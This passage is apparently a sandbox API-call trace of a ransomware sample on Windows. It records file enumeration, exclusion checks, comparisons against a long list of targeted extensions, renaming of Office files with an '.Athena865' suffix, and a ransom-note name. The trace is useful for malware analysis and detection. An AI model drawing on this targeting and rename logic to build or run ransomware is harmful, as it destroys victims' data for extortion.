dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.507] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.507] CloseHandle (hObject=0x17c) returned 1 [0143.508] CloseHandle (hObject=0x154) returned 1 [0143.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.508] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xdf88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONELEV.EXE", cAlternateFileName="")) returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2=".") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="..") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="windows") returned -1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="bootmgr") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="temp") returned -1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="pagefile.sys") returned -1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="boot") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="ids.txt") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="ntuser.dat") returned 1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="perflogs") returned -1 [0143.508] lstrcmpiW (lpString1="ONELEV.EXE", lpString2="MSBuild") returned 1 [0143.508] lstrlenW (lpString="ONELEV.EXE") returned 10 [0143.508] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONELEV.EXE" | out: lpString1="ONELEV.EXE") returned="ONELEV.EXE" [0143.508] lstrlenW (lpString="ONELEV.EXE") returned 10 [0143.509] lstrlenW (lpString="Athena865") returned 9 [0143.509] lstrcmpiW (lpString1="NELEV.EXE", lpString2="Athena865") returned 1 [0143.509] lstrlenW (lpString=".dll") returned 4 [0143.509] lstrcmpiW (lpString1="ONELEV.EXE", lpString2=".dll") returned 1 [0143.509] lstrlenW (lpString=".lnk") returned 4 [0143.509] lstrcmpiW (lpString1="ONELEV.EXE", lpString2=".lnk") returned 1 [0143.509] lstrlenW (lpString=".ini") returned 4 [0143.509] lstrcmpiW (lpString1="ONELEV.EXE", lpString2=".ini") returned 1 [0143.509] lstrlenW (lpString=".sys") returned 4 [0143.509] lstrcmpiW (lpString1="ONELEV.EXE", lpString2=".sys") returned 1 [0143.509] lstrlenW (lpString="ONELEV.EXE") returned 10 [0143.509] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.Athena865") returned 68 [0143.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.athena865"), dwFlags=0x1) returned 1 [0143.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.511] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57224) returned 1 [0143.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.511] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.512] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.512] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.512] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe290, lpName=0x0) returned 0x17c [0143.516] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe290) returned 0x100000 [0143.518] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.519] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.519] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.520] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.521] CloseHandle (hObject=0x17c) returned 1 [0143.521] CloseHandle (hObject=0x154) returned 1 [0143.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.521] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2=".") returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="..") returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="windows") returned -1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="bootmgr") returned 1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="temp") returned -1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="pagefile.sys") returned -1 [0143.521] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2="boot") returned 1 [0143.521] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONENOTE.HXS" | out: lpString1="ONENOTE.HXS") returned="ONENOTE.HXS" [0143.522] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0143.522] lstrlenW (lpString="Athena865") returned 9 [0143.522] lstrcmpiW (lpString1="ENOTE.HXS", lpString2="Athena865") returned 1 [0143.522] lstrlenW (lpString=".dll") returned 4 [0143.522] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2=".dll") returned 1 [0143.522] lstrlenW (lpString=".lnk") returned 4 [0143.522] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2=".lnk") returned 1 [0143.522] lstrlenW (lpString=".ini") returned 4 [0143.522] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2=".ini") returned 1 [0143.522] lstrlenW (lpString=".sys") returned 4 [0143.522] lstrcmpiW (lpString1="ONENOTE.HXS", lpString2=".sys") returned 1 [0143.522] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0143.522] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.Athena865") returned 69 [0143.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.athena865"), dwFlags=0x1) returned 1 [0143.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.524] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1750992) returned 1 [0143.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.524] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.525] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.525] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.525] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1abad0, lpName=0x0) returned 0x17c [0143.526] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1abad0) returned 0x2bb0000 [0143.588] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.588] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.588] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.589] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.603] CloseHandle (hObject=0x17c) returned 1 [0143.603] CloseHandle (hObject=0x154) returned 1 [0143.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.610] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfa4f00, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabfa4f00, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteSyncPCIntl.dll", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.610] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OneNoteSyncPCIntl.dll" | out: lpString1="OneNoteSyncPCIntl.dll") returned="OneNoteSyncPCIntl.dll" [0143.610] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0143.610] lstrlenW (lpString="Athena865") returned 9 [0143.610] lstrcmpiW (lpString1="CIntl.dll", lpString2="Athena865") returned 1 [0143.610] lstrlenW (lpString=".dll") returned 4 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2=".dll") returned 1 [0143.610] lstrlenW (lpString=".lnk") returned 4 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2=".lnk") returned 1 [0143.610] lstrlenW (lpString=".ini") returned 4 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2=".ini") returned 1 [0143.610] lstrlenW (lpString=".sys") returned 4 [0143.610] lstrcmpiW (lpString1="OneNoteSyncPCIntl.dll", lpString2=".sys") returned 1 [0143.610] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0143.610] lstrlenW (lpString="bak") returned 3 [0143.610] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0143.610] lstrlenW (lpString="ba_") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0143.611] lstrlenW (lpString="dbb") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0143.611] lstrlenW (lpString="vmdk") returned 4 [0143.611] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0143.611] lstrlenW (lpString="rar") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0143.611] lstrlenW (lpString="zip") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0143.611] lstrlenW (lpString="tgz") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0143.611] lstrlenW (lpString="vbox") returned 4 [0143.611] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0143.611] lstrlenW (lpString="vdi") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0143.611] lstrlenW (lpString="vhd") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0143.611] lstrlenW (lpString="vhdx") returned 4 [0143.611] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0143.611] lstrlenW (lpString="avhd") returned 4 [0143.611] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0143.611] lstrlenW (lpString="db") returned 2 [0143.611] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0143.611] lstrlenW (lpString="db2") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0143.611] lstrlenW (lpString="db3") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0143.611] lstrlenW (lpString="dbf") returned 3 [0143.611] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0143.611] lstrlenW (lpString="mdf") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0143.612] lstrlenW (lpString="mdb") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0143.612] lstrlenW (lpString="sql") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0143.612] lstrlenW (lpString="sqlite") returned 6 [0143.612] lstrcmpiW (lpString1="tl.dll", lpString2="sqlite") returned 1 [0143.612] lstrlenW (lpString="sqlite3") returned 7 [0143.612] lstrcmpiW (lpString1="ntl.dll", lpString2="sqlite3") returned -1 [0143.612] lstrlenW (lpString="sqlitedb") returned 8 [0143.612] lstrcmpiW (lpString1="Intl.dll", lpString2="sqlitedb") returned -1 [0143.612] lstrlenW (lpString="xml") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0143.612] lstrlenW (lpString="$er") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0143.612] lstrlenW (lpString="4dd") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0143.612] lstrlenW (lpString="4dl") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0143.612] lstrlenW (lpString="^^^") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0143.612] lstrlenW (lpString="abs") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0143.612] lstrlenW (lpString="abx") returned 3 [0143.612] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0143.612] lstrlenW (lpString="accdb") returned 5 [0143.612] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0143.612] lstrlenW (lpString="accdc") returned 5 [0143.612] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0143.612] lstrlenW (lpString="accde") returned 5 [0143.613] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0143.613] lstrlenW (lpString="accdr") returned 5 [0143.613] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0143.613] lstrlenW (lpString="accdt") returned 5 [0143.613] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0143.613] lstrlenW (lpString="accdw") returned 5 [0143.613] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0143.613] lstrlenW (lpString="accft") returned 5 [0143.613] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0143.613] lstrlenW (lpString="adb") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0143.613] lstrlenW (lpString="adb") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0143.613] lstrlenW (lpString="ade") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0143.613] lstrlenW (lpString="adf") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0143.613] lstrlenW (lpString="adn") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0143.613] lstrlenW (lpString="adp") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0143.613] lstrlenW (lpString="alf") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0143.613] lstrlenW (lpString="ask") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0143.613] lstrlenW (lpString="btr") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0143.613] lstrlenW (lpString="cat") returned 3 [0143.613] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0143.613] lstrlenW (lpString="cdb") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0143.614] lstrlenW (lpString="ckp") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0143.614] lstrlenW (lpString="cma") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0143.614] lstrlenW (lpString="cpd") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0143.614] lstrlenW (lpString="dacpac") returned 6 [0143.614] lstrcmpiW (lpString1="tl.dll", lpString2="dacpac") returned 1 [0143.614] lstrlenW (lpString="dad") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0143.614] lstrlenW (lpString="dadiagrams") returned 10 [0143.614] lstrcmpiW (lpString1="PCIntl.dll", lpString2="dadiagrams") returned 1 [0143.614] lstrlenW (lpString="daschema") returned 8 [0143.614] lstrcmpiW (lpString1="Intl.dll", lpString2="daschema") returned 1 [0143.614] lstrlenW (lpString="db-journal") returned 10 [0143.614] lstrcmpiW (lpString1="PCIntl.dll", lpString2="db-journal") returned 1 [0143.614] lstrlenW (lpString="db-shm") returned 6 [0143.614] lstrcmpiW (lpString1="tl.dll", lpString2="db-shm") returned 1 [0143.614] lstrlenW (lpString="db-wal") returned 6 [0143.614] lstrcmpiW (lpString1="tl.dll", lpString2="db-wal") returned 1 [0143.614] lstrlenW (lpString="dbc") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0143.614] lstrlenW (lpString="dbs") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0143.614] lstrlenW (lpString="dbt") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0143.614] lstrlenW (lpString="dbv") returned 3 [0143.614] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0143.615] lstrlenW (lpString="dbx") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0143.615] lstrlenW (lpString="dcb") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0143.615] lstrlenW (lpString="dct") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0143.615] lstrlenW (lpString="dcx") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0143.615] lstrlenW (lpString="ddl") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0143.615] lstrlenW (lpString="dlis") returned 4 [0143.615] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0143.615] lstrlenW (lpString="dp1") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0143.615] lstrlenW (lpString="dqy") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0143.615] lstrlenW (lpString="dsk") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0143.615] lstrlenW (lpString="dsn") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0143.615] lstrlenW (lpString="dtsx") returned 4 [0143.615] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0143.615] lstrlenW (lpString="dxl") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0143.615] lstrlenW (lpString="eco") returned 3 [0143.615] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0143.616] lstrlenW (lpString="ecx") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0143.616] lstrlenW (lpString="edb") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0143.616] lstrlenW (lpString="epim") returned 4 [0143.616] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0143.616] lstrlenW (lpString="fcd") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0143.616] lstrlenW (lpString="fdb") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0143.616] lstrlenW (lpString="fic") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0143.616] lstrlenW (lpString="flexolibrary") returned 12 [0143.616] lstrcmpiW (lpString1="ncPCIntl.dll", lpString2="flexolibrary") returned 1 [0143.616] lstrlenW (lpString="fm5") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0143.616] lstrlenW (lpString="fmp") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0143.616] lstrlenW (lpString="fmp12") returned 5 [0143.616] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0143.616] lstrlenW (lpString="fmpsl") returned 5 [0143.616] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0143.616] lstrlenW (lpString="fol") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0143.616] lstrlenW (lpString="fp3") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0143.616] lstrlenW (lpString="fp4") returned 3 [0143.616] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0143.616] lstrlenW (lpString="fp5") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0143.617] lstrlenW (lpString="fp7") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0143.617] lstrlenW (lpString="fpt") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0143.617] lstrlenW (lpString="frm") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0143.617] lstrlenW (lpString="gdb") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0143.617] lstrlenW (lpString="gdb") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0143.617] lstrlenW (lpString="grdb") returned 4 [0143.617] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0143.617] lstrlenW (lpString="gwi") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0143.617] lstrlenW (lpString="hdb") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0143.617] lstrlenW (lpString="his") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0143.617] lstrlenW (lpString="ib") returned 2 [0143.617] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0143.617] lstrlenW (lpString="idb") returned 